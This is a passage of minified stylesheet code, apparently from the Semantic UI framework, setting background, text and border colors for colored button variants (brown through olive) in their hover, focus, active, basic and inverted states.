.button:hover{background-color:#975b33;color:#FFF;text-shadow:none}.ui.brown.button:focus,.ui.brown.buttons .button:focus{background-color:#90532b;color:#FFF;text-shadow:none}.ui.brown.button:active,.ui.brown.buttons .button:active{background-color:#805031;color:#FFF;text-shadow:none}.ui.brown.active.button,.ui.brown.button .active.button:active,.ui.brown.buttons .active.button,.ui.brown.buttons .active.button:active{background-color:#995a31;color:#FFF;text-shadow:none}.ui.basic.brown.button,.ui.basic.brown.buttons .button{box-shadow:0 0 0 1px #A5673F inset!important;color:#A5673F!important}.ui.basic.brown.button:hover,.ui.basic.brown.buttons .button:hover{background:0 0!important;box-shadow:0 0 0 1px #975b33 inset!important;color:#975b33!important}.ui.basic.brown.button:focus,.ui.basic.brown.buttons .button:focus{background:0 0!important;box-shadow:0 0 0 1px #90532b inset!important;color:#975b33!important}.ui.basic.brown.active.button,.ui.basic.brown.buttons .active.button{background:0 0!important;box-shadow:0 0 0 1px #995a31 inset!important;color:#805031!important}.ui.basic.brown.button:active,.ui.basic.brown.buttons .button:active{box-shadow:0 0 0 1px #805031 inset!important;color:#805031!important}.ui.buttons:not(.vertical)>.basic.brown.button:not(:first-child){margin-left:-1px}.ui.inverted.brown.button,.ui.inverted.brown.buttons .button{background-color:transparent;box-shadow:0 0 0 2px #D67C1C inset!important;color:#D67C1C}.ui.inverted.brown.button.active,.ui.inverted.brown.button:active,.ui.inverted.brown.button:focus,.ui.inverted.brown.button:hover,.ui.inverted.brown.buttons .button.active,.ui.inverted.brown.buttons .button:active,.ui.inverted.brown.buttons .button:focus,.ui.inverted.brown.buttons .button:hover{box-shadow:none!important;color:#FFF}.ui.inverted.brown.button:hover,.ui.inverted.brown.buttons .button:hover{background-color:#c86f11}.ui.inverted.brown.button:focus,.ui.inverted.brown.buttons .button:focus{background-color:#c16808}.ui.inverted.brown.active.button,.ui.inverted.brown.buttons .active.button{background-color:#cc6f0d}.ui.inverted.brown.button:active,.ui.inverted.brown.buttons .button:active{background-color:#a96216}.ui.inverted.brown.basic.button,.ui.inverted.brown.basic.buttons .button,.ui.inverted.brown.buttons .basic.button{background-color:transparent;box-shadow:0 0 0 2px rgba(255,255,255,.5) inset!important;color:#FFF!important}.ui.inverted.brown.basic.button:hover,.ui.inverted.brown.basic.buttons .button:hover,.ui.inverted.brown.buttons .basic.button:hover{box-shadow:0 0 0 2px #c86f11 inset!important;color:#D67C1C!important}.ui.inverted.brown.basic.button:focus,.ui.inverted.brown.basic.buttons .button:focus{box-shadow:0 0 0 2px #c16808 inset!important;color:#D67C1C!important}.ui.inverted.brown.basic.active.button,.ui.inverted.brown.basic.buttons .active.button,.ui.inverted.brown.buttons .basic.active.button{box-shadow:0 0 0 2px #cc6f0d inset!important;color:#D67C1C!important}.ui.inverted.brown.basic.button:active,.ui.inverted.brown.basic.buttons .button:active,.ui.inverted.brown.buttons .basic.button:active{box-shadow:0 0 0 2px #a96216 inset!important;color:#D67C1C!important}.ui.blue.button,.ui.blue.buttons .button{background-color:#2185D0;color:#FFF;text-shadow:none;background-image:none}.ui.blue.button{box-shadow:0 0 0 0 rgba(34,36,38,.15) inset}.ui.blue.button:hover,.ui.blue.buttons .button:hover{background-color:#1678c2;color:#FFF;text-shadow:none}.ui.blue.button:focus,.ui.blue.buttons .button:focus{background-color:#0d71bb;color:#FFF;text-shadow:none}.ui.blue.button:active,.ui.blue.buttons .button:active{background-color:#1a69a4;color:#FFF;text-shadow:none}.ui.blue.active.button,.ui.blue.button .active.button:active,.ui.blue.buttons .active.button,.ui.blue.buttons .active.button:active{background-color:#1279c6;color:#FFF;text-shadow:none}.ui.basic.blue.button,.ui.basic.blue.buttons .button{box-shadow:0 0 0 1px #2185D0 inset!important;color:#2185D0!important}.ui.basic.blue.button:hover,.ui.basic.blue.buttons .button:hover{background:0 0!important;box-shadow:0 0 0 1px #1678c2 inset!important;color:#1678c2!important}.ui.basic.blue.button:focus,.ui.basic.blue.buttons .button:focus{background:0 0!important;box-shadow:0 0 0 1px #0d71bb inset!important;color:#1678c2!important}.ui.basic.blue.active.button,.ui.basic.blue.buttons .active.button{background:0 0!important;box-shadow:0 0 0 1px #1279c6 inset!important;color:#1a69a4!important}.ui.basic.blue.button:active,.ui.basic.blue.buttons .button:active{box-shadow:0 0 0 1px #1a69a4 inset!important;color:#1a69a4!important}.ui.buttons:not(.vertical)>.basic.blue.button:not(:first-child){margin-left:-1px}.ui.inverted.blue.button,.ui.inverted.blue.buttons .button{background-color:transparent;box-shadow:0 0 0 2px #54C8FF inset!important;color:#54C8FF}.ui.inverted.blue.button.active,.ui.inverted.blue.button:active,.ui.inverted.blue.button:focus,.ui.inverted.blue.button:hover,.ui.inverted.blue.buttons .button.active,.ui.inverted.blue.buttons .button:active,.ui.inverted.blue.buttons .button:focus,.ui.inverted.blue.buttons .button:hover{box-shadow:none!important;color:#FFF}.ui.inverted.blue.button:hover,.ui.inverted.blue.buttons .button:hover{background-color:#3ac0ff}.ui.inverted.blue.button:focus,.ui.inverted.blue.buttons .button:focus{background-color:#2bbbff}.ui.inverted.blue.active.button,.ui.inverted.blue.buttons .active.button{background-color:#3ac0ff}.ui.inverted.blue.button:active,.ui.inverted.blue.buttons .button:active{background-color:#21b8ff}.ui.inverted.blue.basic.button,.ui.inverted.blue.basic.buttons .button,.ui.inverted.blue.buttons .basic.button{background-color:transparent;box-shadow:0 0 0 2px rgba(255,255,255,.5) inset!important;color:#FFF!important}.ui.inverted.blue.basic.button:hover,.ui.inverted.blue.basic.buttons .button:hover,.ui.inverted.blue.buttons .basic.button:hover{box-shadow:0 0 0 2px #3ac0ff inset!important;color:#54C8FF!important}.ui.inverted.blue.basic.button:focus,.ui.inverted.blue.basic.buttons .button:focus{box-shadow:0 0 0 2px #2bbbff inset!important;color:#54C8FF!important}.ui.inverted.blue.basic.active.button,.ui.inverted.blue.basic.buttons .active.button,.ui.inverted.blue.buttons .basic.active.button{box-shadow:0 0 0 2px #3ac0ff inset!important;color:#54C8FF!important}.ui.inverted.blue.basic.button:active,.ui.inverted.blue.basic.buttons .button:active,.ui.inverted.blue.buttons .basic.button:active{box-shadow:0 0 0 2px #21b8ff inset!important;color:#54C8FF!important}.ui.green.button,.ui.green.buttons .button{background-color:#21BA45;color:#FFF;text-shadow:none;background-image:none}.ui.green.button{box-shadow:0 0 0 0 rgba(34,36,38,.15) inset}.ui.green.button:hover,.ui.green.buttons .button:hover{background-color:#16ab39;color:#FFF;text-shadow:none}.ui.green.button:focus,.ui.green.buttons .button:focus{background-color:#0ea432;color:#FFF;text-shadow:none}.ui.green.button:active,.ui.green.buttons .button:active{background-color:#198f35;color:#FFF;text-shadow:none}.ui.green.active.button,.ui.green.button .active.button:active,.ui.green.buttons .active.button,.ui.green.buttons .active.button:active{background-color:#13ae38;color:#FFF;text-shadow:none}.ui.basic.green.button,.ui.basic.green.buttons .button{box-shadow:0 0 0 1px #21BA45 inset!important;color:#21BA45!important}.ui.basic.green.button:hover,.ui.basic.green.buttons .button:hover{background:0 0!important;box-shadow:0 0 0 1px #16ab39 inset!important;color:#16ab39!important}.ui.basic.green.button:focus,.ui.basic.green.buttons .button:focus{background:0 0!important;box-shadow:0 0 0 1px #0ea432 inset!important;color:#16ab39!important}.ui.basic.green.active.button,.ui.basic.green.buttons .active.button{background:0 0!important;box-shadow:0 0 0 1px #13ae38 inset!important;color:#198f35!important}.ui.basic.green.button:active,.ui.basic.green.buttons .button:active{box-shadow:0 0 0 1px #198f35 inset!important;color:#198f35!important}.ui.buttons:not(.vertical)>.basic.green.button:not(:first-child){margin-left:-1px}.ui.inverted.green.button,.ui.inverted.green.buttons .button{background-color:transparent;box-shadow:0 0 0 2px #2ECC40 inset!important;color:#2ECC40}.ui.inverted.green.button.active,.ui.inverted.green.button:active,.ui.inverted.green.button:focus,.ui.inverted.green.button:hover,.ui.inverted.green.buttons .button.active,.ui.inverted.green.buttons .button:active,.ui.inverted.green.buttons .button:focus,.ui.inverted.green.buttons .button:hover{box-shadow:none!important;color:#FFF}.ui.inverted.green.button:hover,.ui.inverted.green.buttons .button:hover{background-color:#22be34}.ui.inverted.green.button:focus,.ui.inverted.green.buttons .button:focus{background-color:#19b82b}.ui.inverted.green.active.button,.ui.inverted.green.buttons .active.button{background-color:#1fc231}.ui.inverted.green.button:active,.ui.inverted.green.buttons .button:active{background-color:#25a233}.ui.inverted.green.basic.button,.ui.inverted.green.basic.buttons .button,.ui.inverted.green.buttons .basic.button{background-color:transparent;box-shadow:0 0 0 2px rgba(255,255,255,.5) inset!important;color:#FFF!important}.ui.inverted.green.basic.button:hover,.ui.inverted.green.basic.buttons .button:hover,.ui.inverted.green.buttons .basic.button:hover{box-shadow:0 0 0 2px #22be34 inset!important;color:#2ECC40!important}.ui.inverted.green.basic.button:focus,.ui.inverted.green.basic.buttons .button:focus{box-shadow:0 0 0 2px #19b82b inset!important;color:#2ECC40!important}.ui.inverted.green.basic.active.button,.ui.inverted.green.basic.buttons .active.button,.ui.inverted.green.buttons .basic.active.button{box-shadow:0 0 0 2px #1fc231 inset!important;color:#2ECC40!important}.ui.inverted.green.basic.button:active,.ui.inverted.green.basic.buttons .button:active,.ui.inverted.green.buttons .basic.button:active{box-shadow:0 0 0 2px #25a233 inset!important;color:#2ECC40!important}.ui.orange.button,.ui.orange.buttons .button{background-color:#F2711C;color:#FFF;text-shadow:none;background-image:none}.ui.orange.button{box-shadow:0 0 0 0 rgba(34,36,38,.15) inset}.ui.orange.button:hover,.ui.orange.buttons .button:hover{background-color:#f26202;color:#FFF;text-shadow:none}.ui.orange.button:focus,.ui.orange.buttons .button:focus{background-color:#e55b00;color:#FFF;text-shadow:none}.ui.orange.button:active,.ui.orange.buttons .button:active{background-color:#cf590c;color:#FFF;text-shadow:none}.ui.orange.active.button,.ui.orange.button .active.button:active,.ui.orange.buttons .active.button,.ui.orange.buttons .active.button:active{background-color:#f56100;color:#FFF;text-shadow:none}.ui.basic.orange.button,.ui.basic.orange.buttons .button{box-shadow:0 0 0 1px #F2711C inset!important;color:#F2711C!important}.ui.basic.orange.button:hover,.ui.basic.orange.buttons .button:hover{background:0 0!important;box-shadow:0 0 0 1px #f26202 inset!important;color:#f26202!important}.ui.basic.orange.button:focus,.ui.basic.orange.buttons .button:focus{background:0 0!important;box-shadow:0 0 0 1px #e55b00 inset!important;color:#f26202!important}.ui.basic.orange.active.button,.ui.basic.orange.buttons .active.button{background:0 0!important;box-shadow:0 0 0 1px #f56100 inset!important;color:#cf590c!important}.ui.basic.orange.button:active,.ui.basic.orange.buttons .button:active{box-shadow:0 0 0 1px #cf590c inset!important;color:#cf590c!important}.ui.buttons:not(.vertical)>.basic.orange.button:not(:first-child){margin-left:-1px}.ui.inverted.orange.button,.ui.inverted.orange.buttons .button{background-color:transparent;box-shadow:0 0 0 2px #FF851B inset!important;color:#FF851B}.ui.inverted.orange.button.active,.ui.inverted.orange.button:active,.ui.inverted.orange.button:focus,.ui.inverted.orange.button:hover,.ui.inverted.orange.buttons .button.active,.ui.inverted.orange.buttons .button:active,.ui.inverted.orange.buttons .button:focus,.ui.inverted.orange.buttons .button:hover{box-shadow:none!important;color:#FFF}.ui.inverted.orange.button:hover,.ui.inverted.orange.buttons .button:hover{background-color:#ff7701}.ui.inverted.orange.button:focus,.ui.inverted.orange.buttons .button:focus{background-color:#f17000}.ui.inverted.orange.active.button,.ui.inverted.orange.buttons .active.button{background-color:#ff7701}.ui.inverted.orange.button:active,.ui.inverted.orange.buttons .button:active{background-color:#e76b00}.ui.inverted.orange.basic.button,.ui.inverted.orange.basic.buttons .button,.ui.inverted.orange.buttons .basic.button{background-color:transparent;box-shadow:0 0 0 2px rgba(255,255,255,.5) inset!important;color:#FFF!important}.ui.inverted.orange.basic.button:hover,.ui.inverted.orange.basic.buttons .button:hover,.ui.inverted.orange.buttons .basic.button:hover{box-shadow:0 0 0 2px #ff7701 inset!important;color:#FF851B!important}.ui.inverted.orange.basic.button:focus,.ui.inverted.orange.basic.buttons .button:focus{box-shadow:0 0 0 2px #f17000 inset!important;color:#FF851B!important}.ui.inverted.orange.basic.active.button,.ui.inverted.orange.basic.buttons .active.button,.ui.inverted.orange.buttons .basic.active.button{box-shadow:0 0 0 2px #ff7701 inset!important;color:#FF851B!important}.ui.inverted.orange.basic.button:active,.ui.inverted.orange.basic.buttons .button:active,.ui.inverted.orange.buttons .basic.button:active{box-shadow:0 0 0 2px #e76b00 inset!important;color:#FF851B!important}.ui.pink.button,.ui.pink.buttons .button{background-color:#E03997;color:#FFF;text-shadow:none;background-image:none}.ui.pink.button{box-shadow:0 0 0 0 rgba(34,36,38,.15) inset}.ui.pink.button:hover,.ui.pink.buttons .button:hover{background-color:#e61a8d;color:#FFF;text-shadow:none}.ui.pink.button:focus,.ui.pink.buttons .button:focus{background-color:#e10f85;color:#FFF;text-shadow:none}.ui.pink.button:active,.ui.pink.buttons .button:active{background-color:#c71f7e;color:#FFF;text-shadow:none}.ui.pink.active.button,.ui.pink.button .active.button:active,.ui.pink.buttons .active.button,.ui.pink.buttons .active.button:active{background-color:#ea158d;color:#FFF;text-shadow:none}.ui.basic.pink.button,.ui.basic.pink.buttons .button{box-shadow:0 0 0 1px #E03997 inset!important;color:#E03997!important}.ui.basic.pink.button:hover,.ui.basic.pink.buttons .button:hover{background:0 0!important;box-shadow:0 0 0 1px #e61a8d inset!important;color:#e61a8d!important}.ui.basic.pink.button:focus,.ui.basic.pink.buttons .button:focus{background:0 0!important;box-shadow:0 0 0 1px #e10f85 inset!important;color:#e61a8d!important}.ui.basic.pink.active.button,.ui.basic.pink.buttons .active.button{background:0 0!important;box-shadow:0 0 0 1px #ea158d inset!important;color:#c71f7e!important}.ui.basic.pink.button:active,.ui.basic.pink.buttons .button:active{box-shadow:0 0 0 1px #c71f7e inset!important;color:#c71f7e!important}.ui.buttons:not(.vertical)>.basic.pink.button:not(:first-child){margin-left:-1px}.ui.inverted.pink.button,.ui.inverted.pink.buttons .button{background-color:transparent;box-shadow:0 0 0 2px #FF8EDF inset!important;color:#FF8EDF}.ui.inverted.pink.button.active,.ui.inverted.pink.button:active,.ui.inverted.pink.button:focus,.ui.inverted.pink.button:hover,.ui.inverted.pink.buttons .button.active,.ui.inverted.pink.buttons .button:active,.ui.inverted.pink.buttons .button:focus,.ui.inverted.pink.buttons .button:hover{box-shadow:none!important;color:#FFF}.ui.inverted.pink.button:hover,.ui.inverted.pink.buttons .button:hover{background-color:#ff74d8}.ui.inverted.pink.button:focus,.ui.inverted.pink.buttons .button:focus{background-color:#ff65d3}.ui.inverted.pink.active.button,.ui.inverted.pink.buttons .active.button{background-color:#ff74d8}.ui.inverted.pink.button:active,.ui.inverted.pink.buttons .button:active{background-color:#ff5bd1}.ui.inverted.pink.basic.button,.ui.inverted.pink.basic.buttons .button,.ui.inverted.pink.buttons .basic.button{background-color:transparent;box-shadow:0 0 0 2px rgba(255,255,255,.5) inset!important;color:#FFF!important}.ui.inverted.pink.basic.button:hover,.ui.inverted.pink.basic.buttons .button:hover,.ui.inverted.pink.buttons .basic.button:hover{box-shadow:0 0 0 2px #ff74d8 inset!important;color:#FF8EDF!important}.ui.inverted.pink.basic.button:focus,.ui.inverted.pink.basic.buttons .button:focus{box-shadow:0 0 0 2px #ff65d3 inset!important;color:#FF8EDF!important}.ui.inverted.pink.basic.active.button,.ui.inverted.pink.basic.buttons .active.button,.ui.inverted.pink.buttons .basic.active.button{box-shadow:0 0 0 2px #ff74d8 inset!important;color:#FF8EDF!important}.ui.inverted.pink.basic.button:active,.ui.inverted.pink.basic.buttons .button:active,.ui.inverted.pink.buttons .basic.button:active{box-shadow:0 0 0 2px #ff5bd1 inset!important;color:#FF8EDF!important}.ui.violet.button,.ui.violet.buttons .button{background-color:#6435C9;color:#FFF;text-shadow:none;background-image:none}.ui.violet.button{box-shadow:0 0 0 0 rgba(34,36,38,.15) inset}.ui.violet.button:hover,.ui.violet.buttons .button:hover{background-color:#5829bb;color:#FFF;text-shadow:none}.ui.violet.button:focus,.ui.violet.buttons .button:focus{background-color:#4f20b5;color:#FFF;text-shadow:none}.ui.violet.button:active,.ui.violet.buttons .button:active{background-color:#502aa1;color:#FFF;text-shadow:none}.ui.violet.active.button,.ui.violet.button .active.button:active,.ui.violet.buttons .active.button,.ui.violet.buttons .active.button:active{background-color:#5626bf;color:#FFF;text-shadow:none}.ui.basic.violet.button,.ui.basic.violet.buttons .button{box-shadow:0 0 0 1px #6435C9 inset!important;color:#6435C9!important}.ui.basic.violet.button:hover,.ui.basic.violet.buttons .button:hover{background:0 0!important;box-shadow:0 0 0 1px #5829bb inset!important;color:#5829bb!important}.ui.basic.violet.button:focus,.ui.basic.violet.buttons .button:focus{background:0 0!important;box-shadow:0 0 0 1px #4f20b5 inset!important;color:#5829bb!important}.ui.basic.violet.active.button,.ui.basic.violet.buttons .active.button{background:0 0!important;box-shadow:0 0 0 1px #5626bf inset!important;color:#502aa1!important}.ui.basic.violet.button:active,.ui.basic.violet.buttons .button:active{box-shadow:0 0 0 1px #502aa1 inset!important;color:#502aa1!important}.ui.buttons:not(.vertical)>.basic.violet.button:not(:first-child){margin-left:-1px}.ui.inverted.violet.button,.ui.inverted.violet.buttons .button{background-color:transparent;box-shadow:0 0 0 2px #A291FB inset!important;color:#A291FB}.ui.inverted.violet.button.active,.ui.inverted.violet.button:active,.ui.inverted.violet.button:focus,.ui.inverted.violet.button:hover,.ui.inverted.violet.buttons .button.active,.ui.inverted.violet.buttons .button:active,.ui.inverted.violet.buttons .button:focus,.ui.inverted.violet.buttons .button:hover{box-shadow:none!important;color:#FFF}.ui.inverted.violet.button:hover,.ui.inverted.violet.buttons .button:hover{background-color:#8a73ff}.ui.inverted.violet.button:focus,.ui.inverted.violet.buttons .button:focus{background-color:#7d64ff}.ui.inverted.violet.active.button,.ui.inverted.violet.buttons .active.button{background-color:#8a73ff}.ui.inverted.violet.button:active,.ui.inverted.violet.buttons .button:active{background-color:#7860f9}.ui.inverted.violet.basic.button,.ui.inverted.violet.basic.buttons .button,.ui.inverted.violet.buttons .basic.button{background-color:transparent;box-shadow:0 0 0 2px rgba(255,255,255,.5) inset!important;color:#FFF!important}.ui.inverted.violet.basic.button:hover,.ui.inverted.violet.basic.buttons .button:hover,.ui.inverted.violet.buttons .basic.button:hover{box-shadow:0 0 0 2px #8a73ff inset!important;color:#A291FB!important}.ui.inverted.violet.basic.button:focus,.ui.inverted.violet.basic.buttons .button:focus{box-shadow:0 0 0 2px #7d64ff inset!important;color:#A291FB!important}.ui.inverted.violet.basic.active.button,.ui.inverted.violet.basic.buttons .active.button,.ui.inverted.violet.buttons .basic.active.button{box-shadow:0 0 0 2px #8a73ff inset!important;color:#A291FB!important}.ui.inverted.violet.basic.button:active,.ui.inverted.violet.basic.buttons .button:active,.ui.inverted.violet.buttons .basic.button:active{box-shadow:0 0 0 2px #7860f9 inset!important;color:#A291FB!important}.ui.purple.button,.ui.purple.buttons .button{background-color:#A333C8;color:#FFF;text-shadow:none;background-image:none}.ui.purple.button{box-shadow:0 0 0 0 rgba(34,36,38,.15) inset}.ui.purple.button:hover,.ui.purple.buttons .button:hover{background-color:#9627ba;color:#FFF;text-shadow:none}.ui.purple.button:focus,.ui.purple.buttons .button:focus{background-color:#8f1eb4;color:#FFF;text-shadow:none}.ui.purple.button:active,.ui.purple.buttons .button:active{background-color:#82299f;color:#FFF;text-shadow:none}.ui.purple.active.button,.ui.purple.button .active.button:active,.ui.purple.buttons .active.button,.ui.purple.buttons .active.button:active{background-color:#9724be;color:#FFF;text-shadow:none}.ui.basic.purple.button,.ui.basic.purple.buttons .button{box-shadow:0 0 0 1px #A333C8 inset!important;color:#A333C8!important}.ui.basic.purple.button:hover,.ui.basic.purple.buttons .button:hover{background:0 0!important;box-shadow:0 0 0 1px #9627ba inset!important;color:#9627ba!important}.ui.basic.purple.button:focus,.ui.basic.purple.buttons .button:focus{background:0 0!important;box-shadow:0 0 0 1px #8f1eb4 inset!important;color:#9627ba!important}.ui.basic.purple.active.button,.ui.basic.purple.buttons .active.button{background:0 0!important;box-shadow:0 0 0 1px #9724be inset!important;color:#82299f!important}.ui.basic.purple.button:active,.ui.basic.purple.buttons .button:active{box-shadow:0 0 0 1px #82299f inset!important;color:#82299f!important}.ui.buttons:not(.vertical)>.basic.purple.button:not(:first-child){margin-left:-1px}.ui.inverted.purple.button,.ui.inverted.purple.buttons .button{background-color:transparent;box-shadow:0 0 0 2px #DC73FF inset!important;color:#DC73FF}.ui.inverted.purple.button.active,.ui.inverted.purple.button:active,.ui.inverted.purple.button:focus,.ui.inverted.purple.button:hover,.ui.inverted.purple.buttons .button.active,.ui.inverted.purple.buttons .button:active,.ui.inverted.purple.buttons .button:focus,.ui.inverted.purple.buttons .button:hover{box-shadow:none!important;color:#FFF}.ui.inverted.purple.button:hover,.ui.inverted.purple.buttons .button:hover{background-color:#d65aff}.ui.inverted.purple.button:focus,.ui.inverted.purple.buttons .button:focus{background-color:#d24aff}.ui.inverted.purple.active.button,.ui.inverted.purple.buttons .active.button{background-color:#d65aff}.ui.inverted.purple.button:active,.ui.inverted.purple.buttons .button:active{background-color:#cf40ff}.ui.inverted.purple.basic.button,.ui.inverted.purple.basic.buttons .button,.ui.inverted.purple.buttons .basic.button{background-color:transparent;box-shadow:0 0 0 2px rgba(255,255,255,.5) inset!important;color:#FFF!important}.ui.inverted.purple.basic.button:hover,.ui.inverted.purple.basic.buttons .button:hover,.ui.inverted.purple.buttons .basic.button:hover{box-shadow:0 0 0 2px #d65aff inset!important;color:#DC73FF!important}.ui.inverted.purple.basic.button:focus,.ui.inverted.purple.basic.buttons .button:focus{box-shadow:0 0 0 2px #d24aff inset!important;color:#DC73FF!important}.ui.inverted.purple.basic.active.button,.ui.inverted.purple.basic.buttons .active.button,.ui.inverted.purple.buttons .basic.active.button{box-shadow:0 0 0 2px #d65aff inset!important;color:#DC73FF!important}.ui.inverted.purple.basic.button:active,.ui.inverted.purple.basic.buttons .button:active,.ui.inverted.purple.buttons .basic.button:active{box-shadow:0 0 0 2px #cf40ff inset!important;color:#DC73FF!important}.ui.red.button,.ui.red.buttons .button{background-color:#DB2828;color:#FFF;text-shadow:none;background-image:none}.ui.red.button{box-shadow:0 0 0 0 rgba(34,36,38,.15) inset}.ui.red.button:hover,.ui.red.buttons .button:hover{background-color:#d01919;color:#FFF;text-shadow:none}.ui.red.button:focus,.ui.red.buttons .button:focus{background-color:#ca1010;color:#FFF;text-shadow:none}.ui.red.button:active,.ui.red.buttons .button:active{background-color:#b21e1e;color:#FFF;text-shadow:none}.ui.red.active.button,.ui.red.button .active.button:active,.ui.red.buttons .active.button,.ui.red.buttons .active.button:active{background-color:#d41515;color:#FFF;text-shadow:none}.ui.basic.red.button,.ui.basic.red.buttons .button{box-shadow:0 0 0 1px #DB2828 inset!important;color:#DB2828!important}.ui.basic.red.button:hover,.ui.basic.red.buttons .button:hover{background:0 0!important;box-shadow:0 0 0 1px #d01919 inset!important;color:#d01919!important}.ui.basic.red.button:focus,.ui.basic.red.buttons .button:focus{background:0 0!important;box-shadow:0 0 0 1px #ca1010 inset!important;color:#d01919!important}.ui.basic.red.active.button,.ui.basic.red.buttons .active.button{background:0 0!important;box-shadow:0 0 0 1px #d41515 inset!important;color:#b21e1e!important}.ui.basic.red.button:active,.ui.basic.red.buttons .button:active{box-shadow:0 0 0 1px #b21e1e inset!important;color:#b21e1e!important}.ui.buttons:not(.vertical)>.basic.red.button:not(:first-child){margin-left:-1px}.ui.inverted.red.button,.ui.inverted.red.buttons .button{background-color:transparent;box-shadow:0 0 0 2px #FF695E inset!important;color:#FF695E}.ui.inverted.red.button.active,.ui.inverted.red.button:active,.ui.inverted.red.button:focus,.ui.inverted.red.button:hover,.ui.inverted.red.buttons .button.active,.ui.inverted.red.buttons .button:active,.ui.inverted.red.buttons .button:focus,.ui.inverted.red.buttons .button:hover{box-shadow:none!important;color:#FFF}.ui.inverted.red.button:hover,.ui.inverted.red.buttons .button:hover{background-color:#ff5144}.ui.inverted.red.button:focus,.ui.inverted.red.buttons .button:focus{background-color:#ff4335}.ui.inverted.red.active.button,.ui.inverted.red.buttons .active.button{background-color:#ff5144}.ui.inverted.red.button:active,.ui.inverted.red.buttons .button:active{background-color:#ff392b}.ui.inverted.red.basic.button,.ui.inverted.red.basic.buttons .button,.ui.inverted.red.buttons .basic.button{background-color:transparent;box-shadow:0 0 0 2px rgba(255,255,255,.5) inset!important;color:#FFF!important}.ui.inverted.red.basic.button:hover,.ui.inverted.red.basic.buttons .button:hover,.ui.inverted.red.buttons .basic.button:hover{box-shadow:0 0 0 2px #ff5144 inset!important;color:#FF695E!important}.ui.inverted.red.basic.button:focus,.ui.inverted.red.basic.buttons .button:focus{box-shadow:0 0 0 2px #ff4335 inset!important;color:#FF695E!important}.ui.inverted.red.basic.active.button,.ui.inverted.red.basic.buttons .active.button,.ui.inverted.red.buttons .basic.active.button{box-shadow:0 0 0 2px #ff5144 inset!important;color:#FF695E!important}.ui.inverted.red.basic.button:active,.ui.inverted.red.basic.buttons .button:active,.ui.inverted.red.buttons .basic.button:active{box-shadow:0 0 0 2px #ff392b inset!important;color:#FF695E!important}.ui.teal.button,.ui.teal.buttons .button{background-color:#00B5AD;color:#FFF;text-shadow:none;background-image:none}.ui.teal.button{box-shadow:0 0 0 0 rgba(34,36,38,.15) inset}.ui.teal.button:hover,.ui.teal.buttons .button:hover{background-color:#009c95;color:#FFF;text-shadow:none}.ui.teal.button:focus,.ui.teal.buttons .button:focus{background-color:#008c86;color:#FFF;text-shadow:none}.ui.teal.button:active,.ui.teal.buttons .button:active{background-color:#00827c;color:#FFF;text-shadow:none}.ui.teal.active.button,.ui.teal.button .active.button:active,.ui.teal.buttons .active.button,.ui.teal.buttons .active.button:active{background-color:#009c95;color:#FFF;text-shadow:none}.ui.basic.teal.button,.ui.basic.teal.buttons .button{box-shadow:0 0 0 1px #00B5AD inset!important;color:#00B5AD!important}.ui.basic.teal.button:hover,.ui.basic.teal.buttons .button:hover{background:0 0!important;box-shadow:0 0 0 1px #009c95 inset!important;color:#009c95!important}.ui.basic.teal.button:focus,.ui.basic.teal.buttons .button:focus{background:0 0!important;box-shadow:0 0 0 1px #008c86 inset!important;color:#009c95!important}.ui.basic.teal.active.button,.ui.basic.teal.buttons .active.button{background:0 0!important;box-shadow:0 0 0 1px #009c95 inset!important;color:#00827c!important}.ui.basic.teal.button:active,.ui.basic.teal.buttons .button:active{box-shadow:0 0 0 1px #00827c inset!important;color:#00827c!important}.ui.buttons:not(.vertical)>.basic.teal.button:not(:first-child){margin-left:-1px}.ui.inverted.teal.button,.ui.inverted.teal.buttons .button{background-color:transparent;box-shadow:0 0 0 2px #6DFFFF inset!important;color:#6DFFFF}.ui.inverted.teal.button.active,.ui.inverted.teal.button:active,.ui.inverted.teal.button:focus,.ui.inverted.teal.button:hover,.ui.inverted.teal.buttons .button.active,.ui.inverted.teal.buttons .button:active,.ui.inverted.teal.buttons .button:focus,.ui.inverted.teal.buttons .button:hover{box-shadow:none!important;color:rgba(0,0,0,.6)}.ui.inverted.teal.button:hover,.ui.inverted.teal.buttons .button:hover{background-color:#54ffff}.ui.inverted.teal.button:focus,.ui.inverted.teal.buttons .button:focus{background-color:#4ff}.ui.inverted.teal.active.button,.ui.inverted.teal.buttons .active.button{background-color:#54ffff}.ui.inverted.teal.button:active,.ui.inverted.teal.buttons .button:active{background-color:#3affff}.ui.inverted.teal.basic.button,.ui.inverted.teal.basic.buttons .button,.ui.inverted.teal.buttons .basic.button{background-color:transparent;box-shadow:0 0 0 2px rgba(255,255,255,.5) inset!important;color:#FFF!important}.ui.inverted.teal.basic.button:hover,.ui.inverted.teal.basic.buttons .button:hover,.ui.inverted.teal.buttons .basic.button:hover{box-shadow:0 0 0 2px #54ffff inset!important;color:#6DFFFF!important}.ui.inverted.teal.basic.button:focus,.ui.inverted.teal.basic.buttons .button:focus{box-shadow:0 0 0 2px #4ff inset!important;color:#6DFFFF!important}.ui.inverted.teal.basic.active.button,.ui.inverted.teal.basic.buttons .active.button,.ui.inverted.teal.buttons .basic.active.button{box-shadow:0 0 0 2px #54ffff inset!important;color:#6DFFFF!important}.ui.inverted.teal.basic.button:active,.ui.inverted.teal.basic.buttons .button:active,.ui.inverted.teal.buttons .basic.button:active{box-shadow:0 0 0 2px #3affff inset!important;color:#6DFFFF!important}.ui.olive.button,.ui.olive.buttons .button{background-color:#B5CC18;color:#FFF;text-shadow:none;background-image:none}.ui.olive.button{box-shadow:0 0 0 0 rgba(34,36,38,.15) inset}.ui.olive.button:hover,.ui.olive.buttons .button:hover{background-color:#a7bd0d;color:#FFF;text-shadow:none}.ui.olive.button:focus,.ui.olive.buttons .button:focus{background-color:#a0b605;color:#FFF;text-shadow:none}.ui.olive.button:active,.ui.olive.buttons .button:active{background-color:#8d9e13;color:#FFF;text-shadow:none}.ui.olive.active.button,.ui.olive.button .active.button:active,.ui.olive.buttons .active.button,.ui.olive.buttons .active.button:active{background-color:#aac109;color:#FFF;text-shadow:none}.ui.basic.olive.button,.ui.basic.olive.buttons .button{box-shadow:0 0 0 1px #B5CC18 inset!important;color:#B5CC18!important}.ui.basic.olive.button:hover,.ui.basic.olive.buttons .button:hover{background:0 0!important;box-shadow:0 0 0 1px #a7bd0d inset!important;color:#a7bd0d!important}.ui.basic.olive.button:focus,.ui.basic.olive.buttons .button:focus{background:0 0!important;box-shadow:0 0 0 1px #a0b605 inset!important;color:#a7bd0d!important}.ui.basic.olive.active.button,.ui.basic.olive.buttons .active.button{background:0 0!important;box-shadow:0 0 0 1px #aac109 inset!important;color:#8d9e13!important}.ui.basic.olive.button:active,.ui.basic.olive.buttons 